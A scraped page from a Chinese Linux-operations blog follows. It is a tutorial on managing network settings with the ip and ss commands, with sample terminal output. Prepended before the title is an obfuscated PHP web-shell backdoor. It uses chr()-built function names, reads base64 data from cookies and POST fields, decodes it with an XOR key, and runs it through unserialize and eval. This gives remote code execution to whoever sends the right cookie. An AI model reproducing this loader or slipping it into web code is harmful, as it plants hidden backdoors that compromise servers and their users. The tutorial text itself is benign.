$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} Linux网络属性管理(二) | Linux运维部落

Linux网络属性管理(二)

Linux网络属性(二)

Linux 网络属性管理(二)


ip命令

ip - show / manipulate routing, devices, policy routing and tunnels
ip [ OPTIONS ] OBJECT { COMMAND | help }

    OBJECT := { link | addr | route }

        link OBJECT:

ip link – network device configuration

    set
        dev IFACE
             可设置属性:
             up and down:激活或禁用指定接口;

        show
            [dev IFACE]:指定接口
            [up]:仅显示处于激活状态的接口

显示当前的ip链接

[root@Daniel ~]# ip link show 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000 
link/ether 00:0c:29:2c:81:4d brd ff:ff:ff:ff:ff:ff

ip address – protocol address management

    ip addr { add | del } IPADDR dev STRING
        [label LABEL]:添加地址时指明网卡别名
        [scope {global|link|host}]:指明作用域
            global: 全局可用;
            link: 仅链接可用;
            host: 本机可用;
        [broadcast ADDRESS]:指明广播地址

显示ip地址

[root@Daniel ~]# ip addr show 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
   valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:2c:81:4d brd ff:ff:ff:ff:ff:ff
inet 192.168.98.140/24 brd 192.168.98.255 scope global eth0
inet6 fe80::20c:29ff:fe2c:814d/64 scope link 
   valid_lft forever preferred_lft forever

为eth0这块儿网卡添加一个地址并赋予别名eth0:0

[root@Daniel ~]# ip addr add 192.168.98.141/24 dev eth0 label eth0:0 
[root@Daniel ~]# ip add show eth0 
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:2c:81:4d brd ff:ff:ff:ff:ff:ff
inet 192.168.98.140/24 brd 192.168.98.255 scope global eth0
inet 192.168.98.141/24 scope global secondary eth0:0
inet6 fe80::20c:29ff:fe2c:814d/64 scope link 
   valid_lft forever preferred_lft forever

删除刚才添加的地址

[root@Daniel ~]# ip addr del 192.168.98.141/24 dev eth0 
[root@Daniel ~]# ip addr show 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
   valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:2c:81:4d brd ff:ff:ff:ff:ff:ff
inet 192.168.98.140/24 brd 192.168.98.255 scope global eth0
inet6 fe80::20c:29ff:fe2c:814d/64 scope link 
   valid_lft forever preferred_lft forever

ip address show – look at protocol addresses

        [dev DEVICE]
        [label PATTERN]
        [primary and secondary]

[root@Daniel ~]# ip address show 
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
inet6 ::1/128 scope host 
   valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
link/ether 00:0c:29:2c:81:4d brd ff:ff:ff:ff:ff:ff
inet 192.168.98.140/24 brd 192.168.98.255 scope global eth0
inet 192.168.98.141/24 scope global secondary eth0:0
inet6 fe80::20c:29ff:fe2c:814d/64 scope link 
   valid_lft forever preferred_lft forever
[root@Daniel ~]# ip address show label eth0:0 
inet 192.168.98.141/24 scope global secondary eth0:0

ip address flush – flush protocol addresses

        使用格式同show

ip route – routing table management

        ip route add
        添加路由:ip route add TARGET via GW dev IFACE src SOURCE_IP
            TARGET:
                主机路由:IP
                网络路由:NETWORK/MASK

[root@Daniel ~]# ip route add 192.168.1.3 via 192.168.98.2 dev eth0 
[root@Daniel ~]# 
[root@Daniel ~]# ip route show 
192.168.1.3 via 192.168.98.2 dev eth0 
192.168.98.0/24 dev eth0  proto kernel  scope link  src 192.168.98.140 
169.254.0.0/16 dev eth0  scope link  metric 1002 
default via 192.168.98.2 dev eth0 
[root@Daniel ~]# ip route add 192.168.0.0/24 via 192.168.98.2 
[root@Daniel ~]# 
[root@Daniel ~]# ip route show 
192.168.1.3 via 192.168.98.2 dev eth0 
192.168.98.0/24 dev eth0  proto kernel  scope link  src 192.168.98.140 
192.168.0.0/24 via 192.168.98.2 dev eth0 
169.254.0.0/16 dev eth0  scope link  metric 1002 
default via 192.168.98.2 dev eth0 


        添加网关:ip route add defalt via GW dev IFACE



        ip route delete
        删除路由:ip route del TARGET 

[root@Daniel ~]# ip route del 192.168.1.3 
[root@Daniel ~]# 
[root@Daniel ~]# ip route show 
192.168.98.0/24 dev eth0  proto kernel  scope link  src 192.168.98.140 
192.168.0.0/24 via 192.168.98.2 dev eth0 
169.254.0.0/16 dev eth0  scope link  metric 1002 
default via 192.168.98.2 dev eth0 
[root@Daniel ~]# ip route del 192.168.0.0/24 
[root@Daniel ~]# ip route show 
192.168.98.0/24 dev eth0  proto kernel  scope link  src 192.168.98.140 
169.254.0.0/16 dev eth0  scope link  metric 1002 
default via 192.168.98.2 dev eth0 


        ip route show

[root@Daniel ~]# ip route show 
192.168.98.0/24 dev eth0  proto kernel  scope link  src 192.168.98.140 
169.254.0.0/16 dev eth0  scope link  metric 1002 
default via 192.168.98.2 dev eth0 

        ip route flush  清空路由表
            [dev IFACE]
            [via PREFIX]

ss命令

ss命令:

格式:ss [OPTION]... [FILTER]
    选项:
        -t: tcp协议相关
        -u: udp协议相关
        -w: 裸套接字相关
        -x:unix sock相关
        -l: listen状态的连接
        -a: 所有
        -n: 数字格式
        -p: 相关的程序及PID
        -e: 扩展的信息
        -m:内存用量
        -o:计时器信息

        FILTER := [ state TCP-STATE ] [ EXPRESSION ]

TCP的常见状态:

tcp finite state machine:
        LISTEN: 监听
        ESTABLISHED:已建立的连接
        FIN_WAIT_1
        FIN_WAIT_2
        SYN_SENT
        SYN_RECV
        CLOSED

    EXPRESSION:
        dport = 
        sport = 
        示例:’( dport = :ssh or sport = :ssh )’

常用组合:
    -tan, -tanl, -tanlp, -uan

[root@Daniel ~]# ss -tan 
State      Recv-Q Send-Q                                        Local Address:Port                                          Peer Address:Port 
LISTEN     0      128                                                      :::22                                                      :::*     
LISTEN     0      128                                                       *:22                                                       *:*     
LISTEN     0      100                                                     ::1:25                                                      :::*     
LISTEN     0      100                                               127.0.0.1:25                                                       *:*     
ESTAB      0      0                                            192.168.98.140:22                                            192.168.98.1:64234 
ESTAB      0      0                                            192.168.98.140:22                                            192.168.98.1:55255 
[root@Daniel ~]# 

[root@Daniel ~]# ss -tanl 
State      Recv-Q Send-Q                                        Local Address:Port                                          Peer Address:Port 
LISTEN     0      128                                                      :::22                                                      :::*     
LISTEN     0      128                                                       *:22                                                       *:*     
LISTEN     0      100                                                     ::1:25                                                      :::*     
LISTEN     0      100                                               127.0.0.1:25                                                       *:*     
[root@Daniel ~]#

原创文章,作者:Daniel-W,如若转载,请注明出处:http://www.178linux.com/22987

(1)
上一篇 2016-07-07 10:53
下一篇 2016-07-07 19:06

相关推荐

  • shell中测试命令

    shell中测试命令        test命令提供了if–than语句中测试不同条件的途径。如果test命令中列出的条件成立,test命令就会退出并返回退出状态吗0 。这样if–than语句就与其他编程语言中的if–than语句类似的方式工作了。如果条件不成立,…

    Linux干货 2017-04-16
  • LVS(Linux Virtual Server)学习笔记

    LVS(Linux Virtual Server)学习笔记 此文主要对lvs负载均衡学习的总结,一为记录,二为巩固。主要介绍:1、lvs基础;2、lvs的配置;3、lvs的实现 前提:负载均衡(LB Cluster)     负载均衡实现方法有两种:硬件实现和软件实现;    &…

    Linux干货 2017-02-13
  • 第三周练习

    列出当前系统上所有已经登录的用户的用户名,注意:同一用户登录多次,只显示一次。                     ~]# who | cut -d" " …

    Linux干货 2016-11-09
  • rpm包管理

    前言    RPM(简称RPM,全称为The RPM Package Manager)是在Linux下广泛使用的软件包管理器。RPM此名词可能是指.rpm的文件格式的软件包,也可能是指其本身的软件包管理器(RPM Package Manager)。最早由Red Hat研制,现在也由开源社区开发。RPM通常随附于Linux发行版,…

    Linux干货 2015-05-13
  • N25期第六周作业

    请详细总结vim编辑器的使用并完成以下练习题 1.复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加# sed -r 's/^[^[:space:]]+/#&/g' /tmp/rc.sysinit :%s/^[^[:space:]]\+/#&a…

    Linux干货 2016-12-26
  • KVM 快照管理

    1. 快照分类 2. 创建快照的方式     2.1 内置快照         2.1.1 使用 qemu-img 命令:关机状态下         2.1.2 使用 virsh 命令(qemu-monitor…

    Linux干货 2016-02-14